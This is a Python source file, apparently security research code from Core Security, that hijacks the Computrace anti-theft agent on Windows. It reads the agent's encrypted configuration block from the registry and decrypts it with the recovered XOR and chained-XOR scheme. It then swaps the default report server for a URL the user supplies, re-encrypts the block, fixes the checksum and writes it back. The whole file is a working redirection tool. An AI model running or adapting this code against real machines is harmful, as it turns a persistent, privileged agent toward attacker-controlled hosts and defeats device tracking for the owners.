"""
   Computrace Registry-based redirector
   Developed by Alfredo Ortega (aortega@coresecurity.com)
   and Anibal Sacco (Anibal.Sacco@coresecurity.com)
   This tool modifies the configuration block of the computrace agent 
   in the registry, without any modification to the rpcnet.exe file.

Copyright (c) 2009 Core Security Technologies, Core SDI Inc.
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
    * Redistributions of source code must retain the above copyright
      notice, this list of conditions and the following disclaimer.
    * Redistributions in binary form must reproduce the above copyright
      notice, this list of conditions and the following disclaimer in the
      documentation and/or other materials provided with the distribution.
    * Neither the name of the <organization> nor the
      names of its contributors may be used to endorse or promote products
      derived from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY Core Security Technologies ''AS IS'' AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL <copyright holder> BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
"""

from _winreg import *
from struct import pack, unpack
import sys


## 16-bit checksum
def checksum(string):
    result = 0
    for i in range(0, len(string),2):
        result += unpack("<H", string[i:i+2])[0]
    return result & 0xffff

# Retrieves the configuration key from registry
def retrieve_key(aReg):
    
    aKey = OpenKey(aReg, r"SYSTEM\CurrentControlSet\Services\rpcnet\Parameters") 
    for i in range(1024):                                           
        try:
            subkey,value,t = EnumValue(aKey,i)
            if "Security" in subkey:
                print subkey
                return value
                break
                
        except EnvironmentError:                                               
            print "byebye"
            break          

# Set the configuration key in the registry
def set_key(buffer):

    keyPath= r"SYSTEM\CurrentControlSet\Services\rpcnet\Parameters"
    root=HKEY_LOCAL_MACHINE
    hKey=CreateKey(root,keyPath)

    print "[+] Inserting modified key to " + keyPath
    aKey = OpenKey(root, keyPath, 0, KEY_SET_VALUE | KEY_READ)
    try:   
    	SetValueEx(aKey,"Security",0, REG_BINARY, buffer) 
    except EnvironmentError:                                          
        print "[-] There was a problem when inserting key"
    CloseKey(aKey)    

def hexformat(buf):
    buflen = len(buf)
    if buf != "":
        b = "0000 "
        c = 0
        for byte in buf:
            c += 1
            b += "%02x " % int(ord(byte))
            if  not (c % 16):
                if c < buflen:
                    b += "\n%04x " % c
                else:
                    b += "\n "
        if not b.endswith("\n"):
            b += "\n"
        return b

# First "Encryption" algorithm
def xor_string(buffer, byte):
    decrypted = ""
    for x in buffer:
        decrypted += chr(ord(x) ^ byte)
    return decrypted

# Second encryption algorithm
# Input: 0xb5-encrypted configuration block and magic number
# Output: final-encrypted configuration block ready to go in the registry

def encrypt(buffer, magic_number):
    encrypted_string = ""
    # chain xor
    for x in range(len(buffer)/2):
        if x == 0:
            key = 0x9591 + unpack("<H", magic_number)[0]
        else:
            key = (result + unpack("<H", magic_number)[0] + x*3) & 0xffff       
        word = unpack("<H", buffer[x*2:(x+1)*2])[0]
        result = (word ^ key) & 0xffff             
        encrypted_string += pack("<H", result)
    # insert magic number 
    encrypted_string = encrypted_string[:0x104] + magic_number + encrypted_string[0x104:]
    # append checksum
    encrypted_string += pack("<H", checksum(encrypted_string))
    return encrypted_string

# decrypt the second encryption algorithm
# Input: Configuration block from registry
# Output: 0xb5-encrypted configuration block
def decrypt(buffer,magic_number):
	decrypted = ""
	for x in range(0,(len(value)-2)/2):
	    if x==0:
		key = 0x9591
	    word = unpack("<H", (value[x*2:x*2+2]))[0]
	    key += x*3
	    key += unpack("<H", magic_number)[0]
	    key = key & 0xffff
	    decrypted += pack("<H",((word ^ key) & 0xffff))
	    key = word
	return decrypted

# Main

if len(sys.argv)<2:
	#usage
	print "Redirects installed computrace Agent"
	print "Anibal Sacco - Alfredo Ortega - Core Security Technologies"
	print "Usage: %s <newurl>" % sys.argv[0]
	print "		newurl: New report URL of the computrace Agent (20 chars max.)"
	print ""
	print "NOTE: Please stop computrace service before using this tool!:"
	print "To stop computrace service you can use:"
	print "		net stop rpcnet"
	print "from the command line."
	print ""
	print "To reinstall the comptrace agent to the original server, issue:"
	print "		c:\windows\system32\rpcnet.exe -r"
	print "then:	c:\windows\system32\rpcnet.exe -i"
	exit(0)

#read and pad new URL
newurl=sys.argv[1]
if len(newurl)>20:
	newurl=newurl[:20]
newurl=newurl+("\x00"*(20-len(newurl))) #pad

# Read from registry
print r"[+] Reading Configuration block"
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
value = retrieve_key(aReg)
CloseKey(aReg) 

#extract magic number from configuration block
magic_number = value[0x104:0x106]
print "[+] MAGIC NUMBER: %02x" % unpack("<H", magic_number )
new_string = value[:0x104] + value[0x106:]

chksm = checksum(value[:-2])
value = new_string

#
# decrypt configuration block
#

print r"[+] Decrypting..."
decrypted=decrypt(value,magic_number)

#print r"[+] Dump of decrypted configuration block:"
#print hexformat(decrypted)

ready_string = xor_string(decrypted, 0xb5)

#Replace URL
defaultserver="search.namequery.com"
strpos = ready_string.find(defaultserver)
if (strpos>0):
	print "[+] found default connection server at index 0x%x" % strpos
else:
	print "[+] Oops... default server '%s' not found...decrypt failed!" % defaultserver
	exit(-1)

ready_string = ready_string[:strpos] + newurl + ready_string[strpos+20:]

# first encryption
encrypted_b5 = xor_string(ready_string, 0xb5)

# second encryption
encrypted_final=encrypt(encrypted_b5, magic_number)
#print "[+] Re-Encrypted string:"
#print hexformat(encrypted_final)

print "[+] inserting into registry"
set_key(encrypted_final)
print "[+] Success"